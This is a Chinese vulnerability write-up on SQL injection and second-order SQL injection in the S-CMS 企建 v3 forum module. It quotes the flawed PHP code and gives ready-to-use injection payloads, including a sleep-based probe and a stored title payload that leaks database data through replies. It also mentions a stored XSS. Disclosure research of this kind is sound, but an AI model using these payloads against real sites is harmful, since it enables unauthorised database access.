S-CMS企建v3二次SQL注入

0x00 前言

悄悄的说一句,头一次挖到二次注入,我发现我膨胀了!虽然挺简单的,但也是My第一次,第一次!!!!

首发T00ls

0x01 目录

  • Sql注入
  • 二次SQL注入

0x02 Sql注入

漏洞文件:\scms\bbs\bbs.php

$action=$_GET["action"];

$S_id=$_GET["S_id"];

if($action=="add"){

$B_title=htmlspecialchars($_POST["B_title"]);

$B_sort=$_POST["B_sort"];

$B_content=htmlspecialchars($_POST["B_content"]);

$S_sh=getrs("select * from SL_bsort where S_id=".intval($B_sort),"S_sh");

if($S_sh==1){

$B_sh=0;

}else{

$B_sh=1;

}

$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");

mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");

$sql="Select * from SL_bbs order by B_id desc limit 1";

$result = mysqli_query($conn, $sql);

$row = mysqli_fetch_assoc($result);

    if (mysqli_num_rows($result) > 0) {

        $B_id=$row["B_id"];

    }

相对来说这个注入比较简单,$B_sort 无过滤直接从POST获取,然而在SELECT查询的时候使用了intval函数来过滤变量。不过后面在insert的时候却没有任何过滤(无单引号包含)导致sql注入。

漏洞验证:

Payload

  http://127.0.0.1/scms/bbs/bbs.php?action=add

  B_title=test&B_content=test11&B_sort=1 and sleep(5)

$debug调试信息:

Insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('test','test11','2018-12-08 14:21:25',17,1 and sleep(5),0)

 

0x03 二次注入

漏洞文件:

  \scms\bbs\bbs.php

  \scms\bbs\item.php

 

先看一下漏洞触发点:

$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;

    $result = mysqli_query($conn, $sql);

$row = mysqli_fetch_assoc($result);

    if (mysqli_num_rows($result) > 0) {

    $B_title=lang($row["B_title"]);

    $B_content=lang($row["B_content"]);

    $B_time=$row["B_time"];

    $B_sort=$row["B_sort"];

    $S_title=lang($row["S_title"]);

    $B_view=$row["B_view"];

    $M_login=$row["M_login"];

    $M_pic=$row["M_pic"];

    $L_title=$row["L_title"];

    }

if(substr($M_pic,0,4)!="http"){

$M_pic="../media/".$M_pic;

}

$sql2="Select count(*) as B_count from SL_bbs where B_sub=".$id;

 

$result2 = mysqli_query($conn, $sql2);

$row2 = mysqli_fetch_assoc($result2);

$B_count=$row2["B_count"];

if($action=="reply"){

$B_contentx=$_POST["B_content"];

$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");

mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");

box("回复成功!","item.php?id=".$id,"success");

}

简单说一下逻辑,第一步执行的sql语句是查询帖子的详细内容($id帖子id

$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;

然后把查询到的内容各自赋给一个变量

    $B_title=lang($row["B_title"]);

    $B_content=lang($row["B_content"]);

    $B_time=$row["B_time"];

    $B_sort=$row["B_sort"];

..............................

到后面判断$action=="reply",进入回复帖子功能处

if($action=="reply"){

$B_contentx=$_POST["B_content"];

$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");

mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");

box("回复成功!","item.php?id=".$id,"success");

}

可以看到$B_contentx=$_POST["B_content"]无过滤,这里会触发储存xss漏洞。然而这个不是重点,继续看执行的insert语句,发现$B_title等变量都拼接了进来,没有sql过滤,而这些变量是从数据库查询出来的(帖子的标题等),然而回过头去看上面的sql注入,不就是发帖功能的地方么。所以这些变量可控,导致二次sql注入。

 

漏洞触发流程:

  首先我们去发帖B_title的值是我们的payload,还有其他的值

    B_title=',(select user()),'',1,999,1)%23&B_content=aaaaaaaaaaaa&B_sort=1

  然后我们去获取帖子id,这个没有特别好的办法只能去摸索着找,可以先根据楼层判断一共有多少帖子,然后一点一点的往后找,根据内容判断是否是我们发布的帖子

    http://127.0.0.1//scms/bbs/item.php?id=帖子id

  获取到帖子后去触发漏洞

    http://127.0.0.1//scms/bbs/item.php?action=reply&id=帖子id

    B_content=test

  这里我说一下payload为什么是这样的,这样构造完全是为了达到回显注入,因为后面打印回复内容的时候执行的sql注入是

    $sql="select * from SL_bbs where B_sub=".$id." order by B_id asc";

  而B_sub可控(在Insert的时候插入的),这样我们就能直接获取回显。

漏洞演示:

  Payload1

    127.0.0.1/scms/bbs/bbs.php?action=add

    B_title=',(select user()),'',1,666,1)%23&B_content=hello_admin&B_sort=1

 

  Payload2

    获取帖子id

    http://127.0.0.1//scms/bbs/item.php?id=30

 

 

  Payload3

    http://127.0.0.1//scms/bbs/item.php?action=reply&id=30

    B_content=test

 

执行完成!最后我们就可以去访问我们的回复然后拿到回显。

http://127.0.0.1//scms/bbs/item.php?id=666

这次id参数指向的是我们填的B_sub

 

 

0x04 结束语

xxxxxxxxxxxxxxxxxx

posted @ 2018-12-10 08:59 ashe666 阅读(...) 评论(...) 编辑 收藏